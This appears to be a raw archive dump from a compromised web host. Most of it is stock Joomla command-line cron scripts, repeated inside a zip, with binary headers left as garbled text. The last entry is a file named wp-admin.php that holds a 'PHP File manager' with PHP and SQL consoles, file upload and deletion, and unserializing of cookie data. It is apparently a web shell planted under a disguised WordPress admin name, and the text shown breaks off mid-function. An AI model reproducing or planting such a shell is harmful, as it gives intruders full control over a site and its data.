                                                                                                                                                                                                                      index.html                                                                                          0000644                 00000000040 15242012662 0006533 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                sessionGc.php                                                                                       0000644                 00000002323 15242012662 0007212 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package    Joomla.Cli
 *
 * @copyright  (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

/**
 * This is a CRON script to delete expired session data which should be called from the command-line, not the
 * web. For example something like:
 * /usr/bin/php /path/to/site/cli/sessionGc.php
 */

// Initialize Joomla framework
const _JEXEC = 1;

// Load system defines
if (file_exists(dirname(__DIR__) . '/defines.php'))
{
	require_once dirname(__DIR__) . '/defines.php';
}

if (!defined('_JDEFINES'))
{
	define('JPATH_BASE', dirname(__DIR__));
	require_once JPATH_BASE . '/includes/defines.php';
}

// Get the framework.
require_once JPATH_LIBRARIES . '/import.legacy.php';

// Bootstrap the CMS libraries.
require_once JPATH_LIBRARIES . '/cms.php';

/**
 * Cron job to trash expired session data.
 *
 * @since  3.8.6
 */
class SessionGc extends JApplicationCli
{
	/**
	 * Entry point for the script
	 *
	 * @return  void
	 *
	 * @since   3.8.6
	 */
	public function doExecute()
	{
		JFactory::getSession()->gc();
	}
}

JApplicationCli::getInstance('SessionGc')->execute();
                                                                                                                                                                                                                                                                                                             garbagecron.php                                                                                     0000644                 00000002127 15242012662 0007531 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package    Joomla.Cli
 *
 * @copyright  (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

/**
 * A command line cron job to trash expired cache data.
 */

// Initialize Joomla framework
const _JEXEC = 1;

// Load system defines
if (file_exists(dirname(__DIR__) . '/defines.php'))
{
	require_once dirname(__DIR__) . '/defines.php';
}

if (!defined('_JDEFINES'))
{
	define('JPATH_BASE', dirname(__DIR__));
	require_once JPATH_BASE . '/includes/defines.php';
}

// Get the framework.
require_once JPATH_LIBRARIES . '/import.legacy.php';

// Bootstrap the CMS libraries.
require_once JPATH_LIBRARIES . '/cms.php';

/**
 * Cron job to trash expired cache data.
 *
 * @since  2.5
 */
class GarbageCron extends JApplicationCli
{
	/**
	 * Entry point for the script
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function doExecute()
	{
		$cache = JFactory::getCache();
		$cache->gc();
	}
}

JApplicationCli::getInstance('GarbageCron')->execute();
                                                                                                                                                                                                                                                                                                                                                                                                                                         deletefiles.php                                                                                     0000644                 00000004162 15242012662 0007545 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package    Joomla.Cli
 *
 * @copyright  (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

/**
 * A command line cron job to attempt to remove files that should have been deleted at update.
 */

// We are a valid entry point.
const _JEXEC = 1;

// Load system defines
if (file_exists(dirname(__DIR__) . '/defines.php'))
{
	require_once dirname(__DIR__) . '/defines.php';
}

if (!defined('_JDEFINES'))
{
	define('JPATH_BASE', dirname(__DIR__));
	require_once JPATH_BASE . '/includes/defines.php';
}

// Get the framework.
require_once JPATH_LIBRARIES . '/import.legacy.php';

// Bootstrap the CMS libraries.
require_once JPATH_LIBRARIES . '/cms.php';

// Configure error reporting to maximum for CLI output.
error_reporting(E_ALL);
ini_set('display_errors', 1);

// Load Library language
$lang = JFactory::getLanguage();

// Try the files_joomla file in the current language (without allowing the loading of the file in the default language)
$lang->load('files_joomla.sys', JPATH_SITE, null, false, false)
// Fallback to the files_joomla file in the default language
|| $lang->load('files_joomla.sys', JPATH_SITE, null, true);

/**
 * A command line cron job to attempt to remove files that should have been deleted at update.
 *
 * @since  3.0
 */
class DeletefilesCli extends JApplicationCli
{
	/**
	 * Entry point for CLI script
	 *
	 * @return  void
	 *
	 * @since   3.0
	 */
	public function doExecute()
	{
		// Import the dependencies
		jimport('joomla.filesystem.file');
		jimport('joomla.filesystem.folder');

		// We need the update script
		JLoader::register('JoomlaInstallerScript', JPATH_ADMINISTRATOR . '/components/com_admin/script.php');

		// Instantiate the class
		$class = new JoomlaInstallerScript;

		// Run the delete method
		$class->deleteUnexistingFiles();
	}
}

// Instantiate the application object, passing the class name to JCli::getInstance
// and use chaining to execute the application.
JApplicationCli::getInstance('DeletefilesCli')->execute();
                                                                                                                                                                                                                                                                                                                                                                                                              update_cron.php                                                                                     0000644                 00000003405 15242012662 0007562 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package    Joomla.Cli
 *
 * @copyright  (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

/**
 * This is a CRON script which should be called from the command-line, not the
 * web. For example something like:
 * /usr/bin/php /path/to/site/cli/update_cron.php
 */

// Set flag that this is a parent file.
const _JEXEC = 1;

error_reporting(E_ALL | E_NOTICE);
ini_set('display_errors', 1);

// Load system defines
if (file_exists(dirname(__DIR__) . '/defines.php'))
{
	require_once dirname(__DIR__) . '/defines.php';
}

if (!defined('_JDEFINES'))
{
	define('JPATH_BASE', dirname(__DIR__));
	require_once JPATH_BASE . '/includes/defines.php';
}

require_once JPATH_LIBRARIES . '/import.legacy.php';
require_once JPATH_LIBRARIES . '/cms.php';

// Load the configuration
require_once JPATH_CONFIGURATION . '/configuration.php';

/**
 * This script will fetch the update information for all extensions and store
 * them in the database, speeding up your administrator.
 *
 * @since  2.5
 */
class Updatecron extends JApplicationCli
{
	/**
	 * Entry point for the script
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function doExecute()
	{
		// Get the update cache time
		$component = JComponentHelper::getComponent('com_installer');

		$params = $component->params;
		$cache_timeout = $params->get('cachetimeout', 6, 'int');
		$cache_timeout = 3600 * $cache_timeout;

		// Find all updates
		$this->out('Fetching updates...');
		$updater = JUpdater::getInstance();
		$updater->findUpdates(0, $cache_timeout);
		$this->out('Finished fetching updates');
	}
}

JApplicationCli::getInstance('Updatecron')->execute();
                                                                                                                                                                                                                                                           sessionMetadataGc.php                                                                               0000644                 00000002705 15242012662 0010657 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package    Joomla.Cli
 *
 * @copyright  (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

/**
 * This is a CRON script to delete expired optional session metadata which should be called from the command-line, not the
 * web. For example something like:
 * /usr/bin/php /path/to/site/cli/sessionMetadataGc.php
 */

// Initialize Joomla framework
const _JEXEC = 1;

// Load system defines
if (file_exists(dirname(__DIR__) . '/defines.php'))
{
	require_once dirname(__DIR__) . '/defines.php';
}

if (!defined('_JDEFINES'))
{
	define('JPATH_BASE', dirname(__DIR__));
	require_once JPATH_BASE . '/includes/defines.php';
}

// Get the framework.
require_once JPATH_LIBRARIES . '/import.legacy.php';

// Bootstrap the CMS libraries.
require_once JPATH_LIBRARIES . '/cms.php';

/**
 * Cron job to trash expired session metadata.
 *
 * @since  3.8.6
 */
class SessionMetadataGc extends JApplicationCli
{
	/**
	 * Entry point for the script
	 *
	 * @return  void
	 *
	 * @since   3.8.6
	 */
	public function doExecute()
	{
		$metadataManager = new \Joomla\CMS\Session\MetadataManager($this, \Joomla\CMS\Factory::getDbo());
		$sessionExpire   = \Joomla\CMS\Factory::getSession()->getExpire();

		$metadataManager->deletePriorTo(time() - $sessionExpire);
	}
}

JApplicationCli::getInstance('SessionMetadataGc')->execute();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           PK       ! ٰ&W  W    cli.zipnu [        PK       ! ܍*5  *5    finder_indexer.phpnu [        <?php
/**
 * @package    Joomla.Cli
 *
 * @copyright  (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

/**
 * Smart Search CLI.
 *
 * This is a command-line script to help with management of Smart Search.
 *
 * Called with no arguments: php finder_indexer.php
 *                           Performs an incremental update of the index using dynamic pausing.
 *
 * IMPORTANT NOTE:  since Joomla version 3.9.12 the default behavior of this script has changed.
 *                  If called with no arguments, the `--pause` argument is silently applied, in order to avoid the possibility of
 *                  stressing the server too much and making a site (or multiple sites, if on a shared environment) unresponsive.
 *                  If a pause is unwanted, just apply `--pause=0` to the command
 *
 * Called with --purge       php finder_indexer.php --purge
 *                           Purges and rebuilds the index (search filters are preserved).
 *
 * Called with --pause           `php finder_indexer.php --pause`
 *          or --pause=x         or `php finder_indexer.php --pause=x` where x = seconds.
 *          or --pause=division  or `php finder_indexer.php --pause=division` The default divisor is 5.
 *                               If another divisor is required, it can be set with --divisor=y, where
 *                               y is the integer divisor
 *
 *                               This will pause for x seconds between batches,
 *                               in order to give the server some time to catch up
 *                               if --pause is called without an assignment, it defaults to dynamic pausing
 *                               using the division method with a divisor of 5
 *                               (eg. 1 second pause for every 5 seconds of batch processing time)
 *
 * Called with --minproctime=x   Will set the minimum processing time of batches for a pause to occur. Defaults to 1
 *
 */

// We are a valid entry point.
const _JEXEC = 1;

// Load system defines
if (file_exists(dirname(__DIR__) . '/defines.php'))
{
	require_once dirname(__DIR__) . '/defines.php';
}

if (!defined('_JDEFINES'))
{
	define('JPATH_BASE', dirname(__DIR__));
	require_once JPATH_BASE . '/includes/defines.php';
}

define('JPATH_COMPONENT_ADMINISTRATOR', JPATH_ADMINISTRATOR . '/components/com_finder');

// Get the framework.
require_once JPATH_LIBRARIES . '/import.legacy.php';

// Bootstrap the CMS libraries.
require_once JPATH_LIBRARIES . '/cms.php';

// Import the configuration.
require_once JPATH_CONFIGURATION . '/configuration.php';

// System configuration.
$config = new JConfig;
define('JDEBUG', $config->debug);

// Configure error reporting to maximum for CLI output.
error_reporting(E_ALL);
ini_set('display_errors', 1);

// Load Library language
$lang = JFactory::getLanguage();

// Try the finder_cli file in the current language (without allowing the loading of the file in the default language)
$lang->load('finder_cli', JPATH_SITE, null, false, false)
// Fallback to the finder_cli file in the default language
|| $lang->load('finder_cli', JPATH_SITE, null, true);

/**
 * A command line cron job to run the Smart Search indexer.
 *
 * @since  2.5
 */
class FinderCli extends JApplicationCli
{
	/**
	 * Start time for the index process
	 *
	 * @var    string
	 * @since  2.5
	 */
	private $time;

	/**
	 * Start time for each batch
	 *
	 * @var    string
	 * @since  2.5
	 */
	private $qtime;

	/**
	 * Static filters information.
	 *
	 * @var    array
	 * @since  3.3
	 */
	private $filters = array();

	/**
	 * Pausing type or defined pause time in seconds.
	 * One pausing type is implemented: 'division' for dynamic calculation of pauses
	 *
	 * Defaults to 'division'
	 *
	 * @var    string|integer
	 * @since  3.9.12
	 */
	private $pause = 'division';

	/**
	 * The divisor of the division: batch-processing time / divisor.
	 * This is used together with --pause=division in order to pause dynamically
	 * in relation to the processing time
	 * Defaults to 5
	 *
	 * @var    integer
	 * @since  3.9.12
	 */
	private $divisor = 5;

	/**
	 * Minimum processing time in seconds, in order to apply a pause
	 * Defaults to 1
	 *
	 * @var    integer
	 * @since  3.9.12
	 */
	private $minimumBatchProcessingTime = 1;

	/**
	 * Entry point for Smart Search CLI script
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function doExecute()
	{
		// Print a blank line.
		$this->out(JText::_('FINDER_CLI'));
		$this->out('============================');

		// Initialize the time value.
		$this->time = microtime(true);

		// Remove the script time limit.
		@set_time_limit(0);

		// Fool the system into thinking we are running as JSite with Smart Search as the active component.
		$_SERVER['HTTP_HOST'] = 'domain.com';
		JFactory::getApplication('site');

		$this->minimumBatchProcessingTime = $this->input->getInt('minproctime', 1);

		// Pause between batches to let the server catch a breath. The default, if not set by the user, is set in the class property `pause`
		$pauseArg = $this->input->get('pause', $this->pause, 'raw');

		if ($pauseArg === 'division')
		{
			$this->divisor = $this->input->getInt('divisor', $this->divisor);
		}
		else
		{
			$this->pause = (int) $pauseArg;
		}

		// Purge before indexing if --purge on the command line.
		if ($this->input->getString('purge', false))
		{
			// Taxonomy ids will change following a purge/index, so save filter information first.
			$this->getFilters();

			// Purge the index.
			$this->purge();

			// Run the indexer.
			$this->index();

			// Restore the filters again.
			$this->putFilters();
		}
		else
		{
			// Run the indexer.
			$this->index();
		}

		// Total reporting.
		$this->out(JText::sprintf('FINDER_CLI_PROCESS_COMPLETE', round(microtime(true) - $this->time, 3)), true);
		$this->out(JText::sprintf('FINDER_CLI_PEAK_MEMORY_USAGE', number_format(memory_get_peak_usage(true))));

		// Print a blank line at the end.
		$this->out();
	}

	/**
	 * Run the indexer.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	private function index()
	{
		JLoader::register('FinderIndexer', JPATH_ADMINISTRATOR . '/components/com_finder/helpers/indexer/indexer.php');

		// Disable caching.
		$config = JFactory::getConfig();
		$config->set('caching', 0);
		$config->set('cache_handler', 'file');

		// Reset the indexer state.
		FinderIndexer::resetState();

		// Import the plugins.
		JPluginHelper::importPlugin('system');
		JPluginHelper::importPlugin('finder');

		// Starting Indexer.
		$this->out(JText::_('FINDER_CLI_STARTING_INDEXER'), true);

		// Trigger the onStartIndex event.
		JEventDispatcher::getInstance()->trigger('onStartIndex');

		// Remove the script time limit.
		@set_time_limit(0);

		// Get the indexer state.
		$state = FinderIndexer::getState();

		// Setting up plugins.
		$this->out(JText::_('FINDER_CLI_SETTING_UP_PLUGINS'), true);

		// Trigger the onBeforeIndex event.
		JEventDispatcher::getInstance()->trigger('onBeforeIndex');

		// Startup reporting.
		$this->out(JText::sprintf('FINDER_CLI_SETUP_ITEMS', $state->totalItems, round(microtime(true) - $this->time, 3)), true);

		// Get the number of batches.
		$t = (int) $state->totalItems;
		$c = (int) ceil($t / $state->batchSize);
		$c = $c === 0 ? 1 : $c;

		try
		{
			// Process the batches.
			for ($i = 0; $i < $c; $i++)
			{
				// Set the batch start time.
				$this->qtime = microtime(true);

				// Reset the batch offset.
				$state->batchOffset = 0;

				// Trigger the onBuildIndex event.
				JEventDispatcher::getInstance()->trigger('onBuildIndex');

				// Batch reporting.
				$this->out(JText::sprintf('FINDER_CLI_BATCH_COMPLETE', $i + 1, $processingTime = round(microtime(true) - $this->qtime, 3)), true);

				if ($this->pause !== 0)
				{
					// Pausing Section
					$skip  = !($processingTime >= $this->minimumBatchProcessingTime);
					$pause = 0;

					if ($this->pause === 'division' && $this->divisor > 0)
					{
						if (!$skip)
						{
							$pause = round($processingTime / $this->divisor);
						}
						else
						{
							$pause = 1;
						}
					}
					elseif ($this->pause > 0)
					{
						$pause = $this->pause;
					}

					if ($pause > 0 && !$skip)
					{
						$this->out(JText::sprintf('FINDER_CLI_BATCH_PAUSING', $pause), true);
						sleep($pause);
						$this->out(JText::_('FINDER_CLI_BATCH_CONTINUING'));
					}

					if ($skip)
					{
						$this->out(JText::sprintf('FINDER_CLI_SKIPPING_PAUSE_LOW_BATCH_PROCESSING_TIME', $processingTime, $this->minimumBatchProcessingTime), true);
					}
					// End of Pausing Section
				}
			}
		}
		catch (Exception $e)
		{
			// Display the error
			$this->out($e->getMessage(), true);

			// Reset the indexer state.
			FinderIndexer::resetState();

			// Close the app
			$this->close($e->getCode());
		}

		// Reset the indexer state.
		FinderIndexer::resetState();
	}

	/**
	 * Purge the index.
	 *
	 * @return  void
	 *
	 * @since   3.3
	 */
	private function purge()
	{
		$this->out(JText::_('FINDER_CLI_INDEX_PURGE'));

		// Load the model.
		JModelLegacy::addIncludePath(JPATH_COMPONENT_ADMINISTRATOR . '/models', 'FinderModel');
		$model = JModelLegacy::getInstance('Index', 'FinderModel');

		// Attempt to purge the index.
		$return = $model->purge();

		// If unsuccessful then abort.
		if (!$return)
		{
			$message = JText::_('FINDER_CLI_INDEX_PURGE_FAILED', $model->getError());
			$this->out($message);
			exit();
		}

		$this->out(JText::_('FINDER_CLI_INDEX_PURGE_SUCCESS'));
	}

	/**
	 * Restore static filters.
	 *
	 * Using the saved filter information, update the filter records
	 * with the new taxonomy ids.
	 *
	 * @return  void
	 *
	 * @since   3.3
	 */
	private function putFilters()
	{
		$this->out(JText::_('FINDER_CLI_RESTORE_FILTERS'));

		$db = JFactory::getDbo();

		// Use the temporary filter information to update the filter taxonomy ids.
		foreach ($this->filters as $filter_id => $filter)
		{
			$tids = array();

			foreach ($filter as $element)
			{
				// Look for the old taxonomy in the new taxonomy table.
				$query = $db->getQuery(true);
				$query
					->select('t.id')
					->from($db->qn('#__finder_taxonomy') . ' AS t')
					->leftJoin($db->qn('#__finder_taxonomy') . ' AS p ON p.id = t.parent_id')
					->where($db->qn('t.title') . ' = ' . $db->q($element['title']))
					->where($db->qn('p.title') . ' = ' . $db->q($element['parent']));
				$taxonomy = $db->setQuery($query)->loadResult();

				// If we found it then add it to the list.
				if ($taxonomy)
				{
					$tids[] = $taxonomy;
				}
				else
				{
					$this->out(JText::sprintf('FINDER_CLI_FILTER_RESTORE_WARNING', $element['parent'], $element['title'], $element['filter']));
				}
			}

			// Construct a comma-separated string from the taxonomy ids.
			$taxonomyIds = empty($tids) ? '' : implode(',', $tids);

			// Update the filter with the new taxonomy ids.
			$query = $db->getQuery(true);
			$query
				->update($db->qn('#__finder_filters'))
				->set($db->qn('data') . ' = ' . $db->q($taxonomyIds))
				->where($db->qn('filter_id') . ' = ' . (int) $filter_id);
			$db->setQuery($query)->execute();
		}

		$this->out(JText::sprintf('FINDER_CLI_RESTORE_FILTER_COMPLETED', count($this->filters)));
	}

	/**
	 * Save static filters.
	 *
	 * Since a purge/index cycle will cause all the taxonomy ids to change,
	 * the static filters need to be updated with the new taxonomy ids.
	 * The static filter information is saved prior to the purge/index
	 * so that it can later be used to update the filters with new ids.
	 *
	 * @return  void
	 *
	 * @since   3.3
	 */
	private function getFilters()
	{
		$this->out(JText::_('FINDER_CLI_SAVE_FILTERS'));

		// Get the taxonomy ids used by the filters.
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true);
		$query
			->select('filter_id, title, data')
			->from($db->qn('#__finder_filters'));
		$filters = $db->setQuery($query)->loadObjectList();

		// Get the name of each taxonomy and the name of its parent.
		foreach ($filters as $filter)
		{
			// Skip empty filters.
			if ($filter->data === '')
			{
				continue;
			}

			// Get taxonomy records.
			$query = $db->getQuery(true);
			$query
				->select('t.title, p.title AS parent')
				->from($db->qn('#__finder_taxonomy') . ' AS t')
				->leftJoin($db->qn('#__finder_taxonomy') . ' AS p ON p.id = t.parent_id')
				->where($db->qn('t.id') . ' IN (' . $filter->data . ')');
			$taxonomies = $db->setQuery($query)->loadObjectList();

			// Construct a temporary data structure to hold the filter information.
			foreach ($taxonomies as $taxonomy)
			{
				$this->filters[$filter->filter_id][] = array(
					'filter' => $filter->title,
					'title'  => $taxonomy->title,
					'parent' => $taxonomy->parent,
				);
			}
		}

		$this->out(JText::sprintf('FINDER_CLI_SAVE_FILTER_COMPLETED', count($filters)));
	}
}

// Instantiate the application object, passing the class name to JCli::getInstance
// and use chaining to execute the application.
JApplicationCli::getInstance('FinderCli')->execute();
PK       ! ߄B        
  index.htmlnu [        <!DOCTYPE html><title></title>
PK       ! p%      sessionGc.phpnu [        <?php
/**
 * @package    Joomla.Cli
 *
 * @copyright  (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

/**
 * This is a CRON script to delete expired session data which should be called from the command-line, not the
 * web. For example something like:
 * /usr/bin/php /path/to/site/cli/sessionGc.php
 */

// Initialize Joomla framework
const _JEXEC = 1;

// Load system defines
if (file_exists(dirname(__DIR__) . '/defines.php'))
{
	require_once dirname(__DIR__) . '/defines.php';
}

if (!defined('_JDEFINES'))
{
	define('JPATH_BASE', dirname(__DIR__));
	require_once JPATH_BASE . '/includes/defines.php';
}

// Get the framework.
require_once JPATH_LIBRARIES . '/import.legacy.php';

// Bootstrap the CMS libraries.
require_once JPATH_LIBRARIES . '/cms.php';

/**
 * Cron job to trash expired session data.
 *
 * @since  3.8.6
 */
class SessionGc extends JApplicationCli
{
	/**
	 * Entry point for the script
	 *
	 * @return  void
	 *
	 * @since   3.8.6
	 */
	public function doExecute()
	{
		JFactory::getSession()->gc();
	}
}

JApplicationCli::getInstance('SessionGc')->execute();
PK       ! \W  W    garbagecron.phpnu [        <?php
/**
 * @package    Joomla.Cli
 *
 * @copyright  (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

/**
 * A command line cron job to trash expired cache data.
 */

// Initialize Joomla framework
const _JEXEC = 1;

// Load system defines
if (file_exists(dirname(__DIR__) . '/defines.php'))
{
	require_once dirname(__DIR__) . '/defines.php';
}

if (!defined('_JDEFINES'))
{
	define('JPATH_BASE', dirname(__DIR__));
	require_once JPATH_BASE . '/includes/defines.php';
}

// Get the framework.
require_once JPATH_LIBRARIES . '/import.legacy.php';

// Bootstrap the CMS libraries.
require_once JPATH_LIBRARIES . '/cms.php';

/**
 * Cron job to trash expired cache data.
 *
 * @since  2.5
 */
class GarbageCron extends JApplicationCli
{
	/**
	 * Entry point for the script
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function doExecute()
	{
		$cache = JFactory::getCache();
		$cache->gc();
	}
}

JApplicationCli::getInstance('GarbageCron')->execute();
PK       ! 6r  r    deletefiles.phpnu [        <?php
/**
 * @package    Joomla.Cli
 *
 * @copyright  (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

/**
 * A command line cron job to attempt to remove files that should have been deleted at update.
 */

// We are a valid entry point.
const _JEXEC = 1;

// Load system defines
if (file_exists(dirname(__DIR__) . '/defines.php'))
{
	require_once dirname(__DIR__) . '/defines.php';
}

if (!defined('_JDEFINES'))
{
	define('JPATH_BASE', dirname(__DIR__));
	require_once JPATH_BASE . '/includes/defines.php';
}

// Get the framework.
require_once JPATH_LIBRARIES . '/import.legacy.php';

// Bootstrap the CMS libraries.
require_once JPATH_LIBRARIES . '/cms.php';

// Configure error reporting to maximum for CLI output.
error_reporting(E_ALL);
ini_set('display_errors', 1);

// Load Library language
$lang = JFactory::getLanguage();

// Try the files_joomla file in the current language (without allowing the loading of the file in the default language)
$lang->load('files_joomla.sys', JPATH_SITE, null, false, false)
// Fallback to the files_joomla file in the default language
|| $lang->load('files_joomla.sys', JPATH_SITE, null, true);

/**
 * A command line cron job to attempt to remove files that should have been deleted at update.
 *
 * @since  3.0
 */
class DeletefilesCli extends JApplicationCli
{
	/**
	 * Entry point for CLI script
	 *
	 * @return  void
	 *
	 * @since   3.0
	 */
	public function doExecute()
	{
		// Import the dependencies
		jimport('joomla.filesystem.file');
		jimport('joomla.filesystem.folder');

		// We need the update script
		JLoader::register('JoomlaInstallerScript', JPATH_ADMINISTRATOR . '/components/com_admin/script.php');

		// Instantiate the class
		$class = new JoomlaInstallerScript;

		// Run the delete method
		$class->deleteUnexistingFiles();
	}
}

// Instantiate the application object, passing the class name to JCli::getInstance
// and use chaining to execute the application.
JApplicationCli::getInstance('DeletefilesCli')->execute();
PK       !       update_cron.phpnu [        <?php
/**
 * @package    Joomla.Cli
 *
 * @copyright  (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

/**
 * This is a CRON script which should be called from the command-line, not the
 * web. For example something like:
 * /usr/bin/php /path/to/site/cli/update_cron.php
 */

// Set flag that this is a parent file.
const _JEXEC = 1;

error_reporting(E_ALL | E_NOTICE);
ini_set('display_errors', 1);

// Load system defines
if (file_exists(dirname(__DIR__) . '/defines.php'))
{
	require_once dirname(__DIR__) . '/defines.php';
}

if (!defined('_JDEFINES'))
{
	define('JPATH_BASE', dirname(__DIR__));
	require_once JPATH_BASE . '/includes/defines.php';
}

require_once JPATH_LIBRARIES . '/import.legacy.php';
require_once JPATH_LIBRARIES . '/cms.php';

// Load the configuration
require_once JPATH_CONFIGURATION . '/configuration.php';

/**
 * This script will fetch the update information for all extensions and store
 * them in the database, speeding up your administrator.
 *
 * @since  2.5
 */
class Updatecron extends JApplicationCli
{
	/**
	 * Entry point for the script
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function doExecute()
	{
		// Get the update cache time
		$component = JComponentHelper::getComponent('com_installer');

		$params = $component->params;
		$cache_timeout = $params->get('cachetimeout', 6, 'int');
		$cache_timeout = 3600 * $cache_timeout;

		// Find all updates
		$this->out('Fetching updates...');
		$updater = JUpdater::getInstance();
		$updater->findUpdates(0, $cache_timeout);
		$this->out('Finished fetching updates');
	}
}

JApplicationCli::getInstance('Updatecron')->execute();
PK       ! Q(      sessionMetadataGc.phpnu [        <?php
/**
 * @package    Joomla.Cli
 *
 * @copyright  (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

/**
 * This is a CRON script to delete expired optional session metadata which should be called from the command-line, not the
 * web. For example something like:
 * /usr/bin/php /path/to/site/cli/sessionMetadataGc.php
 */

// Initialize Joomla framework
const _JEXEC = 1;

// Load system defines
if (file_exists(dirname(__DIR__) . '/defines.php'))
{
	require_once dirname(__DIR__) . '/defines.php';
}

if (!defined('_JDEFINES'))
{
	define('JPATH_BASE', dirname(__DIR__));
	require_once JPATH_BASE . '/includes/defines.php';
}

// Get the framework.
require_once JPATH_LIBRARIES . '/import.legacy.php';

// Bootstrap the CMS libraries.
require_once JPATH_LIBRARIES . '/cms.php';

/**
 * Cron job to trash expired session metadata.
 *
 * @since  3.8.6
 */
class SessionMetadataGc extends JApplicationCli
{
	/**
	 * Entry point for the script
	 *
	 * @return  void
	 *
	 * @since   3.8.6
	 */
	public function doExecute()
	{
		$metadataManager = new \Joomla\CMS\Session\MetadataManager($this, \Joomla\CMS\Factory::getDbo());
		$sessionExpire   = \Joomla\CMS\Factory::getSession()->getExpire();

		$metadataManager->deletePriorTo(time() - $sessionExpire);
	}
}

JApplicationCli::getInstance('SessionMetadataGc')->execute();
PK         ! ܍*5  *5                  finder_indexer.phpnu [        PK         ! ߄B        
            l5  index.htmlnu [        PK         ! p%                5  sessionGc.phpnu [        PK         ! \W  W              :  garbagecron.phpnu [        PK         ! 6r  r              l?  deletefiles.phpnu [        PK         !                 H  update_cron.phpnu [        PK         ! Q(                aO  sessionMetadataGc.phpnu [        PK      +  kU    PK       ! v 0  0   wp-admin.php.tarnu [        home/capoccitel/www/wp-admin/wp-admin.php                                                           0000644                 00000224244 15242012664 0014401 0                                                                                                    ustar 00                                                                                                                                                                                                                                                                                                                                                                                                                                       
                                                                                                                                                                                
<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
